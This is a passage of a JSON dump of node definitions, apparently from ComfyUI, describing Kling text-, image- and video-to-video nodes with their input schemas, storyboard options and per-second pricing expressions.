["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration"], "optional": ["resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProTextToVideoNode", "display_name": "Kling 3.0 Omni Text to Video", "description": "Use text prompts to generate videos with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProFirstLastFrameNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "first_frame": ["IMAGE", {}]}, "optional": {"end_frame": ["IMAGE", {"tooltip": "An optional end frame for the video. This cannot be used simultaneously with 'reference_images'. Does not work with storyboards."}], "reference_images": ["IMAGE", {"tooltip": "Up to 6 additional reference images."}], "resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Only supported for kling-v3-omni.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Only supported for kling-v3-omni.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "duration", "first_frame"], "optional": ["end_frame", "reference_images", "resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProFirstLastFrameNode", "display_name": "Kling 3.0 Omni First-Last-Frame to Video", "description": "Use a start frame, an optional end frame, or reference images with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProImageToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "reference_images": ["IMAGE", {"tooltip": "Up to 7 reference images."}]}, "optional": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Only supported for kling-v3-omni.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Only supported for kling-v3-omni.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration", "reference_images"], "optional": ["resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProImageToVideoNode", "display_name": "Kling 3.0 Omni Image to Video", "description": "Use up to 7 reference images to generate a video with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProVideoToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 3, "min": 3, "max": 10, "display": "slider"}], "reference_video": ["VIDEO", {"tooltip": "Video to use as a reference."}], "keep_original_sound": ["BOOLEAN", {"default": true}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 4 additional reference images."}], "resolution": ["COMBO", {"multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration", "reference_video", "keep_original_sound"], "optional": ["reference_images", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProVideoToVideoNode", "display_name": "Kling 3.0 Omni Video to Video", "description": "Use a video and up to 4 reference images to generate a video with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := (widgets.resolution = \"720p\") ? \"std\" : \"pro\";\n $rates := {\"std\": 0.126, \"pro\": 0.168};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProEditVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Video for editing. The output video length will be the same."}], "keep_original_sound": ["BOOLEAN", {"default": true}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 4 additional reference images."}], "resolution": ["COMBO", {"multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "video", "keep_original_sound"], "optional": ["reference_images", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProEditVideoNode", "display_name": "Kling 3.0 Omni Edit Video", "description": "Edit an existing video with the latest model from Kling.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := (widgets.resolution = \"720p\") ? \"std\" : \"pro\";\n $rates := {\"std\": 0.126, \"pro\": 0.168};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": "Video Generation", "has_intermediate_output": false}, "KlingOmniProImageNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-image-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the image content. This can include both positive and negative descriptions.", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K", "4K"]}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "3:2", "2:3", "21:9"]}], "series_amount": ["COMBO", {"tooltip": "Generate a series of images. Not supported for kling-image-o1.", "multiselect": false, "options": ["disabled", "2", "3", "4", "5", "6", "7", "8", "9"]}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 10 additional reference images."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "resolution", "aspect_ratio", "series_amount"], "optional": ["reference_images", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProImageNode", "display_name": "Kling 3.0 Omni Image", "description": "Create or edit images with the latest model from Kling.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "series_amount", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"1k\": 0.028, \"2k\": 0.028, \"4k\": 0.056};\n $base := $lookup($prices, widgets.resolution);\n $isO1 := widgets.model_name = \"kling-image-o1\";\n $mult := ($isO1 or widgets.series_amount = \"disabled\") ? 1 : $number(widgets.series_amount);\n {\"type\":\"usd\",\"usd\": $base * $mult}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingTextToVideoWithAudio": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v2-6"]}], "prompt": ["STRING", {"tooltip": "Positive text prompt.", "multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["pro"]}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "generate_audio": ["BOOLEAN", {"advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "mode", "aspect_ratio", "duration", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingTextToVideoWithAudio", "display_name": "Kling 2.6 Text to Video with Audio", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.07 * widgets.duration * (widgets.generate_audio ? 2 : 1)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, 